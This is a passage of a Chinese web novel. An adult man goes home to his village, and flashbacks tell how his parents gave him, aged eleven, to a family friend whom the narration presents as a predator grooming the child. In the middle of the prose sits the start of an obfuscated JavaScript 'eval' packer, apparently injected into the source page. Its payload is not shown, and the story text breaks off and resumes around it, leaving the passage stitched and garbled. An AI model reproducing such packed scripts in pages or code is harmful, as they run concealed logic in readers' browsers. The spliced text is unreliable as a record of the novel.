一直到吃饭,元丰都在反复思考这个问题。 开门声打断他的思绪,看着走进屋的高大男人,他有些蒙:“贺总,你……你不是应酬去了吗?” “临时取消了。”贺颜说。 “……”元丰还准备吃完就洗澡睡觉的,这下歇菜了。他放下筷子站起身,嘴角扯出一个笑,“贺总你是来吃饭的对不?我去给你盛啊。” 贺颜点头,“去吧。” 元丰这才放心地去了厨房,结果刚打开电饭煲,身后传来贺总的声音。 “顺便来办你。” “……” …… “你怎么还耍赖皮啊!” 贺颜已经克服心理障碍,所以势在必得。 …… “起床了。”贺颜轻轻拍了拍元丰的脸,“几点的火车?” “火车……”元丰眯着眼,愣了会儿神才反应过来,他睁大眼,“几点了啊?!” “不到八点。” “哦……吓我一跳。”元丰坐起身,脸色顿时变得有些难看。 “起来吃早饭,我让陈硕送你去车站。”贺颜说完,离开了卧室。 元丰看着被关上的房门,松了口气。这一时半会儿的,还真不知道该怎么面对贺总了,他下床去卫生间洗漱。 …… 自己就大人不记小人过,别跟变态一般见识了。 贺颜盯着走过来的元丰,皱眉道:“你就这一身衣服了?” 元丰本来还有点尴尬,被贺总问得一蒙。他拉开餐椅坐下:“我有衣服啊。” “穿这身回去?” 元丰低头看了眼身上穿的白T恤和卡其色休闲九分裤,又抬头问贺总:“这身有啥问题啊?我都没穿过几回,还挺新的。” “不太像个业务经理。”贺颜说,“去换了,衣柜里随便挑一身。” 关于穿什么衣服回去,元丰其实纠结了好一会儿。经贺总这么一提醒,他觉得是该展现自己身为经理的气质。 “好像是有点啊。小美,不是,就我同事,她说穿这身特像大学生。” “还不赶紧去?” “哦哦,我这就去。” 衣柜里的衣裤都是上下搭配好的,元丰挑了偏商务的衬衣和休闲西裤。 穿上后,气质一下子就提升了。他发现自己挑的这身跟贺总穿的那些挺像,这有钱人的眼光就是不一样啊。 为了更体面些,他把背包里的那三身衣服塞回柜子里,换上了贺总给他买的。 “几点的火车?”贺颜问。 “九点三刻。”元丰大口啃着手里的肉包子,一边吃一边说,“太香了!真好吃。” 贺颜盯着他鼓起的腮帮子,调侃道:“几辈子没吃饭了?” “肚子饿也是因为睡晚了!”元丰瞥了贺总一眼,“我本来八点就能睡觉的。” 贺颜没接话,问:“东西买了么?” “啥东西啊?” “回去看父母,不知道买点特产?” “……” 元丰昨天取完钱去了趟超市,光顾着给自己买路上吃的粮食,完全没意识到该买些特产。即便是名义上的家人,不买点什么好像说不过去。 贺颜一看那表情就知道这小子给忘了:“什么记性?” “我没想到……”元丰回道。 “我已经让陈硕准备好了,记得带上车。”贺颜看了眼时间,“快吃吧,吃完下楼。” “……”元丰看着正在喝咖啡的男人,心情突然有些复杂,他应了一声,低头继续吃起肉包子。 吃完早点,元丰拎着黑色的背包,冲贺总挤出一个笑:“贺总,我走了啊。” 贺颜点点头,“走吧。” “好。”元丰走到玄关,回头看了眼餐桌前的男人,这才开门离去。 得亏贺总昨晚还算温柔,元丰走路没多难受。刚出电梯,他就碰见等在门口的陈硕。 “陈硕,你怎么在这儿等啊?” “贺总交代的。”陈硕伸出手,“背包我来拿吧。” “不用,没多沉。”元丰怕陈硕抢,背着往前走了。走了两步,他又回头说:“你别听他的,咱俩之间还有啥好客气的?” 陈硕跟了上去,问道:“什么时候回来?” “后天晚上回来。”元丰说,“你不用来接我,到车站都十点多了。” “没事,到了给我打电话。” 元丰估计又是贺总的吩咐,他含糊应下:“那行,到时候给你电话。” 候车大厅里,元丰给好兄弟打了通电话,说自己在等着检票了。 许辉问他还认不认得回村的路,要是不认得就安排亲戚过去接他。他不想麻烦许辉家里人,说自己知道怎么走。 回家的那条路确实没印象了,但记忆中那座名为“家”的房子,是认得的。 快检票时,元丰看着脚边的两盒特产,又掏出了兜里的手机。 下车之前,陈硕告诉他,因为不知道具体住址,没办法直接将特产寄回他老家,又考虑到他一个人行动不方便,所以最后只准备了两盒。 其实两盒,已经够了。 开完会,贺颜刚回到办公室,手机响了。他接通后,问:“上车了?” “还没,马上检票,我怕车上信号不好。”“有话要说?” “是啊。” “话不少,说吧。” “谢谢贺总给我准备的特产,我光想着回家了,都没记得这个事儿。” 贺颜揶揄一笑:“该怎么谢,知道么?” “大概知道……” “大概?” 电话那头顿了几秒,声音突然变得很轻:“就,就给贺总来条龙呗。” “什么龙?” “哎哟,我不跟你说了,检票都开始了!” 这小子……听着电话里嘟嘟嘟的忙音,贺颜觉得昨晚折腾少了。 元丰买的是硬卧下铺,车程大约十个小时。一进包厢,他礼貌地跟其他三位乘客打了声招呼,在靠窗那边的位置坐下了。 窗外的风景说不上多好看,不是农田就是村镇,但他却欣赏了很久。 十一岁那年的初春,元丰家里来了个穿着体面的陌生男人。男人姓赵,叫赵民淞,四十岁,是他爸的发小,只不过十来岁就离开村子去外头打拼了。 村里闲言碎语多,他在田里干活儿时,听到同村的孙大娘跟邻居张婶议论突然回村的赵叔。 “听说离婚好多年了,也没个孩子。” “可不是,穿得再体面顶个啥用?肯定是城里混不下去了。” “回村也没用,你说都四十的人了,上哪儿说媳妇去?” “村头那个牛寡妇,我瞧着行。” “嘿哟,让你一说,没准真有戏哩!” 元丰觉得孙大娘和张婶说的都不对,赵叔明明有孩子,只是判给了前妻。而且赵叔不是混不下去,是提前回来养老了,还正在盖漂亮的新房子。 新房子,真好啊…… 10. 第 10 章 元丰在野菜地里摘着荠菜,老远听到一声呼喊。他抬起头,三妹捂着衣兜跑了过来。 元秋跑到哥哥跟前,气喘吁吁地说:“哥,赵叔又来看咱们了!还带了好吃的。” 元丰点头应了声:“我晓得,妈一早就跟我说了。” “妈咋就偷偷告诉你了?”元秋说完,从衣兜里献宝似的掏出几颗巧克力豆,咧着嘴笑,“这小豆子可好吃了!哥,我喂你。” “好。”元丰笑着张开嘴,一颗小圆球被扔进了嘴里。 “哥,你含一会儿再嚼才好吃。”元秋往自己嘴里塞了一颗。 小圆球入口便有一股甜甜的巧克力味儿,逐渐融化时,元丰尝到了浓郁的奶香。他试着咀嚼了下,很甜很酥脆。 “好吃不?”元秋一脸笑眯眯的。 “好吃。”元丰低下头,继续干着手里的活儿。 “哥,再来一个。”元秋又拿了一颗到哥哥的嘴边。 元丰侧头避开,笑着说:“你吃,我先干活儿。” 元秋把剩下的巧克力豆塞回衣兜里,在哥哥旁边蹲下:“哥,我也来帮你摘,还要摘多少呀?” 元丰见妹妹连叶子枯黄了的都摘下来,赶忙伸手拦住她:“你可别摘了,叶子黄了的不能要。你先回去,小俊呢?” “二姐回来了,在陪他玩。”元秋不高兴地撇了撇嘴,“他动不动就哭,吵死了。” “小孩儿哪有不哭的?”元丰笑了,“你三岁时哭得比他还凶,还要人哄。” “我是女孩子。”元秋哼了一声,“女孩子本来就爱哭。” 元丰没再赶妹妹走,有个人在耳边叽叽喳喳,也挺热闹的。 摘完一大包荠菜,元丰叮嘱妹妹先回家,自己去了河边洗菜上的泥巴。 初春的河水冰凉,冻得他直哆嗦,他捏着菜叶儿,把沾着泥巴的菜根扎进河水里来回甩。 今天中午家里吃饺子,荠菜猪肉馅儿的。最近这阵子,他隔三岔五就能吃上一点肉,多亏了那个叫赵叔的男人。赵叔每回过来,还会给他们几个买好吃的零食。 快到家门口时,元丰看到正在陪弟弟玩的元秋。母亲和二妹从院子后头走了过来,母女俩手上提着两大袋蔬菜,鞋子上还挂着泥巴。 他走上前打招呼:“妈,二妹,咋摘这么多菜啊?” 元梅抢先说道:“是给赵叔带回去的。” 王金凤看着瘦弱的大儿子提着一大兜子菜,伸手接了过来:“都洗干净了?” “洗干净了。”元丰怕母亲负担太重,想拿回来,“妈,我来拎。” “不用,快进屋和面,你叔跟你爸马上回来了。”王金凤说。 元丰这才没坚持,听话地进了屋。 饺子是元丰跟二妹一块儿包的,包了几个之后,他嫌元梅包得不好看,于是让她负责擀皮。元秋带着弟弟坐角落里听收音机,母亲在一旁调饺子馅儿。 “哎哟,你这小子捣啥乱?!”元梅打开弟弟的小手,“小秋,赶紧把他带走。” “元俊!你给我过来!!”元秋从兜里掏出一颗巧克力豆,在弟弟面前晃了晃,“不听话,一粒都不给你!” “我要吃我要吃!”元俊追过去,“快给我!” 元丰回头看了眼比自己小八岁的弟弟,笑着继续包饺子。 最开始,他是讨厌弟弟的。但这么小的奶娃娃懂什么,几个月大时就会一直冲他乐,还要他抱。 元俊自打断了奶,是他这个做哥哥的亲手拉扯到三岁,他连下地干活儿都要把元俊背在身上。 退学那阵子,他经常会思考,如果自己是健康的,还会有妹妹跟弟弟吗?后来,他不这么想了。一家人开开心心地生活在一块儿,比什么都重要。 元志强拖了个长板凳,招呼道:“来,民淞,过来坐。” “这些饺子包得真不错。”赵民淞看着桌上排得整整齐齐的饺子,问道,“是小丰包的?” 元丰点点头。 “赵叔,我也包了几个。”元梅指着自己那几个饺子,笑着问,“好看不?” “小梅包得也不错。”赵民淞夸奖完,跟元丰说,“小丰,叔给你带了几本故事书,在西屋的桌子上。” “谢谢赵叔。”元丰有些不好意思,自从知道他不再上学之后,赵叔每回过来除了零食,还会带书给他。有故事书,还有他能做的数学习题册。 “下回叔再给你带点别的。”赵民淞笑着说。 元丰又说了声谢谢,虽然从未在脸上表现出来,但他其实很期待赵叔过来。 “好了,你俩去西屋玩。”元志强打发走俩孩子,给兄弟发了一根烟,“我这家里头忒吵。” 赵民淞点燃香烟,吸了一口才说:“不吵,这才像个家的样子。” “我这四个孩子,成天叽叽喳喳的,也就老大和老二听话些。”元志强感叹,“你一个人倒是清净,我都多久没好好歇过了。” 赵民淞失笑:“我倒不想这么清净,有个孩子在身边叽叽喳喳,挺好的。” 元丰小心翼翼地拿起最上面的那本《古代寓言故事》,元梅在一旁问:“哥,我能看看另外几本不?” “你看。” “谢谢哥。” 屋里能听到外头的谈话声,还有三妹和四弟的吵闹声。元丰坐在小板凳上,心无旁骛地看起了书中的故事。 * 天还没亮,元丰就起来干活儿了。先是去厨房烧上柴火,开始熬粥,跟着拿上笤帚,把屋里屋外简单打扫了一遍。等粥做得了,他才端上装着脏衣服的塑料盆,去河边洗衣服。 “哟,小丰今儿这么早就来嘞!” 元丰抬起头,是隔壁的张婶。虽然不喜欢这个嘴碎的婆娘,但他还是笑着打了声招呼:“张婶好!” “哎,好好好。”张翠芳在边上找了个位置,一边忙一边感慨,“还是你这孩子懂事儿,我家那臭小子就知道睡大觉。” 元丰应付地点点头,继续用棒槌拍打着弟弟的衣服。元俊调皮,每回换下来的衣服裤子都脏不啦唧的,沾了不少泥巴。 “小丰,最近咋没见你赵叔过来啊?”张翠芳八卦起来,“听说房子盖得了在添置家具,是不?” 元丰含糊其词地敷衍着,说自己也不知道。他抬头看了一圈,陆续有村里的大妈过来洗衣服,自己再换位置有些说不过去。 好在张婶啰唆了没多久,同样嘴碎的孙大娘过来了,俩人有说有笑的,很快就忘了他的存在。 “我家那口子去看过了,那房子呀,盖得真不赖!”孙大娘感叹道,“这城里回来的,到底是不一样。” 张婶唏嘘道:“才回来仨月,房子都盖好了,找的施工队不便宜吧?” “可不是,听说在城里挣了不少钱。”孙大娘低声说,“前阵子王媒婆在路上碰上他了,问他要不要给说个对象。” “他咋说的?” “嗐,说是一个人挺好。我看他是压根瞧不上咱们村的,想找个城里人。” “哟,还这样哪?有钱也没这么挑的,城里人哪愿意上咱农村来?” 元丰听不下去了,这俩婆娘没事儿就喜欢在背后编派别人。 赵叔刚回来那会儿就说不好听的,现在看房子盖起来了,又开始眼红编派,咋这么讨厌呢…… 他快速洗着六口人的衣服,一洗完就立刻走了。 回到家,父母已经起了,弟弟妹妹们还在睡。元丰在屋外的绳子上晾着衣服,母亲走了过来:“小丰,快吃早饭去。” “没事儿,我晾完再去。” 王金凤拿起盆里的衣服帮着一块儿晾,一边晾一边瞧着矮小瘦弱的长子。都十一岁了,身高却跟九岁的老二一样高。 她想起丈夫昨晚说的那些话,犹豫着要不要把孩子过继给赵民淞。 元丰晾好衣服,拿着盆刚要进屋,就听见母亲问他想不想上学。 今年家里条件好了些,他以为父母同意他念书了,高兴地点点头,语气有些激动:“妈,我想上学!我认得字儿,赵叔给买的那些练习册,我也会做!我……我肯定能考好成绩,拿奖状!” 见儿子笑得那么开心,王金凤心里颇不是滋味儿。她一直都知道,这孩子从小学习就好,没能让儿子继续念下去,她心里一直有愧,觉得对不起孩子。 如今有个机会摆在面前,不仅能让小丰继续念书,还能把身体的毛病给治好。 “小丰,你喜欢赵叔不?” 元丰不明白母亲为什么突然问这个,他又点点头:“喜欢啊,赵叔每回来都给我买故事书,还买好吃的。” “没事儿,妈就问问。”王金凤笑着说。 “妈,爸同意我上学了是不?” “你爸昨晚提了这个事儿,回头妈再好好问问。” “好!” “快回屋吃粥,妈下地干活儿去。” “嗯!” 一想到能重新上学,元丰高兴得干活儿都有劲了。吃完早饭,他进西屋给弟弟穿衣服。 元俊见二姐元梅背上了书包,突然说:“哥哥,我要上学!” “我还没上过学呢,你想得美。”元秋在旁边呸了一声。 “好,哥一会儿送你去学校。”元丰给弟弟穿好裤子,牵着他走到屋外的田边,“自己撒个尿。” 元俊拉下裤子,掏出自己的小家伙,尿了起来。 元丰在边上站着,提醒道:“往前抬一些,别尿裤子上。” 永坍村的东边,有一所规模不大的小学。 学校里只有五间教室,老师连校长加起来也就六个,一个老师管理一个教室,学校里除了永坍村的孩子,还有邻村的。 元丰背着弟弟,走在二妹旁边。 “哥,你别背他了。”元梅瞥了眼三岁大的小男孩,数落道,“你小子咋这么不懂事儿?快下来。” “不要,我不下去!”元俊搂着哥哥的脖子,得意地说,“就要哥哥背!” 元丰笑着说:“小俊,咱们可说好了啊。现在背,待会儿回去自己走,知道不?” “好!”元俊高兴点头。 “哥,你就惯着他吧!” “他还小呢。” 到了学校门口,元丰压下内心的渴望,目送二妹走进教室。 他牵着弟弟的手:“走吧,小俊。” “哥哥,我也想进去。”元俊站在原地不肯走,嚷嚷道,“我要上学!” 元丰蹲下来,耐心哄道:“等你再长高一些,到哥这么高的时候,就能上学了。” 元俊问道:“真的吗?” “嗯,真的。”元丰站起来,“咱回家。” 回去的路上,元丰见弟弟额头已经流汗,伸手替他擦了:“小俊,还走得动不?” 元俊紧紧攥着哥哥的小拇指:“我要自己走回家!” “好,咱们一块儿走!” “嗯!” 元丰把弟弟交给三妹,带上耙子、塑料袋和扁担就出门了。自从家里养了鸭子,他每天都要去水田里挑水葫芦。 用耙子捞了两大袋之后,他将两大包水葫芦固定在扁担两端,晃晃悠悠地挑着往家走。 七月份已经入夏,元丰热得汗流浃背,身体也被磨得有些不舒服。 他放下担子,蹲在土路边上,喘着气休息。 “小丰。” 身后传来熟悉的男声,元丰回头一看,激动道:“赵叔!” 赵民淞看着汗流浃背的少年,原本白皙的脸蛋已经晒得通红。 他把装着几本书的袋子递给元丰:“叔给你带了几本不一样的外国的故事。” 元丰开心地接过:“谢谢赵叔!” 赵民淞弯腰挑起地上的扁担,掂了掂分量:“还挺沉的,力气不小。” “我都挑习惯了。”元丰手脏,不舍得碰新书。他跟在赵叔旁边道:“赵叔,你都大半个月没来了。” “出去办了点事儿。”赵民淞笑着说,“小丰,叔搬家了。今儿过来是请你们一家子上我新家热闹热闹。” “赵叔,家具都添置好了啊?”元丰问。 “嗯,这阵子就是在忙这个,一得空就过来看你了。”元丰抱着书,开心地笑了。 元丰看了看赵叔身上干净的衬衣和西裤,裤腿和皮鞋上已经沾了泥点子。他上前说道:“赵叔,这儿脏,我来弄吧。” “没事儿,不脏。”赵民淞看着围栏网里的鸭子,笑着感慨,“我小时候可比这脏多了,那会儿也捞这些水里的玩意儿,猪不够吃,还得每天打猪草去。” 元丰虽没养过猪,但知道猪圈里很脏很臭。这么一比较,养鸭子是干净不少。 喂完鸭子,赵民淞站起来:“走,叔给你讲故事。” “好!”听故事是元丰最期待的,他长这么大,就跟着父母去过几次汶沟镇。 赵叔城里回来的,见多识广,除了给他讲书里的故事,有时还会说一些外头见到的奇闻趣事。 夏日的阳光打在少年白净的脸上,赵民淞有一瞬间的恍惚,看着那道瘦弱的背影,原本平静的目光逐渐阴沉。 不论看多少回,青涩的果实依旧令人垂涎欲滴,他迫不及待地想要采摘,收藏。藏在心底的罪恶之花,在少年干净的笑容里,越绽越艳。 元丰坐在小板凳上,津津有味地听着赵叔讲那些他从未听过也没见过的事物。 听到一半时,他好奇地问道:“赵叔,火车咋还能在地底下跑呢?” 赵民淞笑着说:“能,大城市跟咱们小地方不一样,地底下挖了不少隧道。这隧道一挖好,就开始安装各种设施,再铺上铁路,火车就能开了。” “啊?”元丰有些不敢相信,“地下空了,那地上的房子咋办啊?” “房子和路都好好的,没事儿。”赵民淞看着一脸好奇的少年,问道,“以后叔带你去大城市玩,要不要?” “要!”元丰突然一拍大腿,从小板凳上站起来,“赵叔,我该下地干活儿了。小秋和小俊在屋里,我忙完再回来做饭。” “去吧。”赵民淞也站起来,伸手摸了摸他的小脑袋。 “好,赵叔你随便坐啊,我很快就回来。” “嗯。” 中午,元丰跟母亲在厨房一块儿忙碌着。因为赵叔留下来吃中饭,所以伙食变好了,能吃上一些肉。 看着锅里快炸好的猪油渣,他咽了咽口水,问道:“妈,一会儿我能吃几个不?” 炸完的猪油渣,家里一般会留着烧青菜或白菜。王金凤从锅里捞出一小碗放在灶台上:“吃吧。” 元丰有些惊喜:“妈,这些都是给我吃的不?” “能吃完你就都给吃了。”王金凤刚说完,见儿子猴急地拿了块大的塞嘴里,结果烫得直吸溜。她笑着数落道:“刚出锅的多烫啊,晾会儿再吃!” “呼……”元丰嚼着酥脆的猪油渣,乐和道,“妈,真香啊!” 王金凤看着儿子,心里又有些不是滋味儿。 她实在不忍心把身上割下来的肉过继给别人养,可一想到这孩子身体上的毛病,将来长大了能讨上媳妇儿吗?要是再让人给欺负了…… “我拿去给小秋和小俊也吃点儿。”元丰端着碗,离开了厨房。 王金凤看着儿子的背影,为了这孩子的将来,她在心里做下决定。 元志强在镇上卖完菜,早早收摊回了家。等二女儿元梅从学校里回来,一家六口人去了邻村赵民淞的新家。 去的路上,元丰带着两个妹妹和弟弟坐上了赵叔的小轿车,他爸妈骑摩托车在后面跟着。对于赵叔的新房子,他还挺期待的,肯定盖得很好看。 到了地方,元秋跟弟弟兴奋地看着眼前两层高的大房子。她跑到爸妈跟前:“爸,啥时候咱家也盖个这么大的新房子啊?” 元志强来过几次了,还帮着发小干过活儿。这么好的大房子,要说不羡慕那是不可能的。 他看着小女儿,叼着烟开起玩笑:“等你们几个将来挣大钱了,给我盖个新的。” 元秋翻了个白眼,跟着赵叔进屋了。 元丰抬头欣赏着漂亮的大房子,思考着得要多少钱才能盖出这么好看的房子。 他在心里暗暗发誓,将来一定要像赵叔那样,去大城市闯荡一番,看看外面的世界,再挣好多好多钱。 王金凤跟丈夫在屋里四处欣赏,新房子的厨房没了农村传统的灶台,不需要再烧柴火。 元丰跟在旁边,奇怪地问道:“爸,这个厨房咋跟咱家不一样啊?连柴都没有,咋做饭?” 元志强指着煤气灶旁边的煤气罐:“看见这个蓝色的大罐子没?用这个做饭就行了。” 元丰走过去,左看右看都没明白,他又问:“这罐子里还能装火啊?” 元志强没什么文化,不知道该怎么跟儿子解释煤气罐的原理,只能应付地点点头:“是啊,里面都是火。这玩意儿可危险,不能瞎碰,知道不?” 元丰刚摸上煤气罐,吓得立刻后退:“我知道了!” 赵民淞拿出零食招呼好其他三个孩子,才进了厨房。他笑着说:“客厅的电视我打开了,你们都去看电视吧,今晚这顿,我亲自下厨。” “那多不好意思啊。”元志强跟妻子说,“金凤,你帮着一块儿弄。” “我帮赵叔一块儿做吧。”元丰看着父母,“爸妈,你们看电视去吧。” 王金凤本想留下来的,见儿子和赵民淞处得好,也就没说什么,跟丈夫去了客厅。 在赵叔的指导下,元丰学会了用煤气灶。他抓着锅把手,用力翻炒着锅里的青椒肉丝。 肉丝几乎全是瘦的,肥的才一点儿,另一个锅里炖着香浓的红烧排骨,那味儿直扑进他鼻子里,给他香得口水都快流下来了。 赵民淞打开锅盖,舀了一碗排骨递给元丰:“来,小丰,替叔尝尝好不好吃。” “啊?”元丰盯着那一碗香喷喷的红烧排骨,抬头看向赵叔,“这,太多了,我尝一块就好。” “你拿着。”赵民淞把碗放在元丰跟前,拿了一双筷子给他,“都吃了,吃完了叔给你看些好东西。” 元丰再懂事儿,毕竟是个十一岁的孩子。他第一次吃上这么多肉,开心地嚼着嘴里的肉,笑着说:“太好吃了,谢谢赵叔!” “好吃就行。” 沾着肉汁的小嘴油汪汪的,赵民淞盯着看了两眼,移开了视线。 元丰弯腰捡起地上的糖果纸,低声数落道:“小俊,不能扔地上,知不知道?” “哥,我都说过他了,他一点儿都不听话!”元秋在一旁念叨。 元丰看向三妹:“小秋你也是,不要乱跑。这不是咱家,老实待着。” “好嘛。”元秋吐了吐舌头,“这房子太漂亮了,我就是想多瞧瞧。” “你俩现在不多看会儿,回去可没的看喽。”元梅指着正在播放动画片的电视机,又拍了拍身边的沙发,“小秋小俊,都给我好好坐这儿。” 四个孩子并排坐在软软的沙发上,目不转睛地看着电视上正在播的动画片。 王金凤瞧着这一幕,看向自己的丈夫,元志强冲妻子无声地点了点头,俩人都明白了对方的意思。 夫妻二人走到外屋,在桌前坐下。元志强先给兄弟发了根烟,再自己点上一根。 他一边抽一边感慨:“民淞啊,小丰那孩子打小就懂事儿,从生下来就很少哭闹,让喝奶就喝奶,让睡觉就睡觉。我这当爹的就没怎么操过心,他妈也省心不少。我俩唯一操心的……” “是啊,小丰这孩子从小就懂事儿……受了太多的苦……”王金凤说着说着,语气有些哽咽。 她缓了会儿,继续说:“是我俩对不起他,这孩子……” 赵民淞见状,连忙安慰道:“弟妹你放心,这孩子以后还管我叫叔就行,用不着改口,等他同意过来,我先带他去大城市瞧瞧身体。” “民淞啊,我真的……”元志强想说谢谢却说不出口,占着兄弟的便宜,哪儿还有脸说谢谢?说得好听点是过继,村里还不知道要怎么议论这事儿。 可他其实也藏着私心,想让儿子上大城市做手术,把身体给治好。 “志强,什么都别说了。”赵民淞握着兄弟的手,“我也心疼小丰这孩子,你们放心,我一定会视如己出,好好抚养他。” 夫妻二人在看到那个专门给儿子准备的小书房时,相信赵民淞是真的会对孩子好。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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元丰听到后面,直接呆住了,西边刘叔家的孩子就是过继来的,所以他听懂了父母的意思。 他不明白父母为什么要把自己过继给赵叔,如果得管赵叔叫爹才能上学,这样的学,他才不想上! 这天深夜,元丰的父母轮番给他洗脑,他哭着说不想上学也不想瞧病,只求父母别把他送走。 “你这孩子咋这么不懂事儿?!念叨着想上学的是你,现在能上了咋又不肯上?” “呜呜……呜……我不要走……” “行了,哭啥哭?”元志强没了耐心,“我跟你妈都是为你好!你这小屁孩子懂个啥?将来就明白了。明天收拾收拾东西,跟你赵叔回家去!” 元丰求助地看向母亲:“妈,我能干活儿啊……我会干很多很多……” “小丰,你是个好孩子,是妈对不起你……”王金凤抱着儿子,跟着一块儿哭了起来,“听你爸的话,啊?你现在还小,长大了就懂了……孩子……” 元丰从小就知道自己跟别的孩子不一样,这身体是老天给的,他心里气过怨过,但他从没有像今晚这样,如此厌恶、痛恨着这副畸形的身体。连弟弟出生那年被迫退学时,他都没这么恨过。 他心里好恨好恨,如果没有这副身体……如果没有……是不是一切都会不一样? 隔天,元丰接受了父母的安排。趁着妹妹和弟弟都不在家时,他跟着赵叔走了。 他心里有自己的打算,虽然喜欢赵叔,但他并不想认这个爹。他要耐心地等下去,等到去大城市瞧完病,父母是不是就不会嫌弃自己了? 只要能回家,这个学不上也罢。 * 汶沟镇已不是十年前的面貌,为了增强小镇与外界的联系,大力发展经济,镇上五年前通了火车。 元丰从白天坐到黑夜,下午本想在铺上补个觉,可死活睡不踏实。 一是担心包里的几千块钱和银行卡,二是车厢里忒吵,吵得脑仁疼。 晚上十点前,他终于到达了汶沟镇。刚出站口,他就受到小镇人民的热情欢迎,有举着牌子冲他挥手的,还有拿着小喇叭冲他吆喝的。 “来来来啊,住宿五十啊住宿五十!” “小帅哥,往哪儿走啊?打车还是住宿?” “正规滴滴车司机!小伙子,打车不?” 元丰知道这几个大妈大爷为什么盯着他,就因为自己长得白净显嫩,面相瞧着是个老实好欺负的。 车站这些套路他太熟悉了,也多亏这张面善的脸,他曾经成功拉过不少客人,小赚了一笔。 “我家就在镇上,啥都不需要!”元丰眼神坚定地看向正前方,不为所动。 中年男人跟着他,不死心地追问道:“小伙子,住镇上哪儿啊?叔送你过去,价钱实惠好商量!” 听到“叔送你过去”这几个字儿,元丰瞬间犯起恶心。 他依旧目不斜视地朝前走,言辞坚决地拒绝道:“用不着,我家有车来接!” 听到有车来接,中年男人不再死缠烂打,拉别的客去了。 元丰一直走到大路口,才放下手里的特产,掏出手机给兄弟报了个平安,说自己已经下火车了。 “到了就好。”许辉问道,“你马上就赶回去还是在镇上住一宿啊?” “我也不知道,还在想。”元丰时间比较紧,后天一早就得往回赶。 要是等明天白天再过去,村里人见着他还不知道要怎么八卦议论,指不定会凑到家门口看热闹。他不知道该怎么面对家人,心里头也没做好准备。 “现在过去也行,你太久没回去不知道。”许辉说,“镇子上修了不少大路,打车到村口也就三四十分钟,可比以前方便多了。” “行吧,我再想想。” “嗯,总要面对的。”许辉安慰道,“别慌,要是觉着别扭,把他们当成普通长辈,说些客气话就行。” “好,我先挂了,你早点睡啊。” “行,有事儿打我电话。” 元丰揣好手机,弯腰准备拎起地上的特产时,突然想起贺总。上车前跟他打过电话,这下了车,是不是也该报个平安啊… 金陵轩。 “现在想约你还挺不容易的。”乔安看着对面正在往茶杯里倒热水的男人,“今晚可算空出时间来了,吃完换个地儿接着续?” “行。”贺颜倒掉热水,开始掷茶。他拿起茶则,用茶拨轻轻地将茶叶推进盖碗里。 费凡盯着贺颜泡茶的步骤,插嘴道:“贺总这是干吗呢?喝个茶还这么讲究?直接倒不完了吗?” “你懂什么。”乔安说,“这茶啊,就得慢慢品。” 费凡想说他压根品不出来,总觉得中老年才好这一口。贺总年纪轻轻的,怎么还提前退休了? 贺颜茶还没泡完,桌上的手机响了,扫了眼来电显示,是回老家的小情儿打来的。 不会睡着了吧?这个点不至于啊。元丰估摸着贺总正在应酬,刚准备挂断时,电话通了。 他立刻说道:“贺总,是不是在忙啊?打电话没别的事儿,就是想跟你说我到了!” “不忙,刚下火车?” “对,已经出站了,在外头呢。”元丰说完就不知道该说啥了,如果贺总在忙,他还能说一句“那你继续忙”。 算了,要不等贺总主动挂电话吧,反正自己没想好是回村还是找旅馆,有个人说说话也挺好。 “家里有人接么?” “没啊。”元丰抬头看向小镇的夜空,自顾自地说,“我不知道要现在回去,还是明天早上再回。” “现在回去。” “啊?”元丰问贺总,“为啥?” “脑瓜子忒笨。” “不是,贺总你啥意思啊?”元丰一直觉得自己挺聪明的,怎么可能承认自己脑瓜子笨。 他反驳道:“我哪儿笨了?” “回自己家还犹豫?行了,赶紧回去。” “……” “挂了。” “哦,我知道了。” 听着嘟嘟嘟的忙音,元丰想说那已经不是自己的家。 明明做好了决定,连十个小时的火车都熬过来了。可踩上这片土地的那一刻,他又开始犹豫了。 曾经最渴望回的家和想见的家人,如今却没有足够的勇气去面对。 “哟,是那个叫元丰的小经理?”乔安调侃道,“我们贺总好像有哪儿不一样了。” 费凡盯着对面的男人从上看到下:“哪儿不一样?我怎么没瞧出来。” 贺颜没理会好友的调侃,喝了口茶。有服务员推门而入,开始上菜。他站起身说道:“你俩这么闲,可以去后厨帮着一块儿上菜。” 乔安&费凡:“……” 等菜陆续上齐,包间的木门再次被推开。贺颜看到来人,皱眉看向乔安:“怎么回事儿?” “呃……”乔安解释,“这不一会儿接着嗨吗?人多热闹,就叫上了。” 李格径直走到表哥身边坐下,将手搭在他肩上:“好歹咱俩有血缘关系,当哥的居然不待见弟弟。” 贺颜打开肩处的手:“就你一人?” “你还想有谁?”李格说,“放心吧,我已经有大嫂了,知道分寸。” “吃你的饭。”贺颜这两天收到几条陌生短信,一看内容就猜到是董默发的。他估计号码是李格之前给的,也就没再计较。 “大嫂?什么大嫂?”费凡八卦道。 乔安也惊了,他问李格:“你大嫂是谁?” “你们也不知道?”李格啧了一声,“果然是金屋藏娇。” 贺颜不想再谈及自己的私事儿,语气严肃了几分:“还吃么?” “吃吃吃!” “来,李兄,尝尝这鲜嫩多汁的鲍鱼。” “自己人,都别客气。” 贺颜盯着表弟夹到碗里的鲍鱼,倏地想起昨晚。 李格注意到旁边投来的视线,扭头问:“怎么了?” 贺颜回过神:“没什么。” 乔安贴心地用公筷给好友夹了个鲍鱼:“来来来,动筷子。” “……” 11. 第 11 章 暗黄的路灯下,一辆灰绿相间的出租车停在了永坍村的村口。 “小伙子,到喽!” “谢谢师傅。” 付完钱,元丰下车从后备箱里拎出自己的两盒特产。直到出租车不见了踪影,他依旧站在村口,未挪半步。 十一年前,他以为治好病就能回来,所以听从父母的安排,跟着一个叫赵民淞的中年男人走了。 跟着男人去到一个偏远小城后,他才明白原来“过继”只是个幌子,去大城市看病也是假的。因为这副累赘的畸形身体,他被亲生父母给卖了,卖的还是着急脱手的白菜价。 明明是个遭人议论的双/性人,那男人却告诉他这不是病,不需要做手术治疗,甚至天天夸他很完美,是独一无二的。 入秋了,乡间的夜风吹散白日的燥热,大地一片寂静。家家户户都熄了灯,整个村子静得只剩下风声与虫鸣。 元丰走在早已不是土路的水泥小道上,烦躁的内心逐渐恢复平静。 来之前,他不确定能不能找到地方,只是想先过来看看,哪怕摸黑白走一遭。 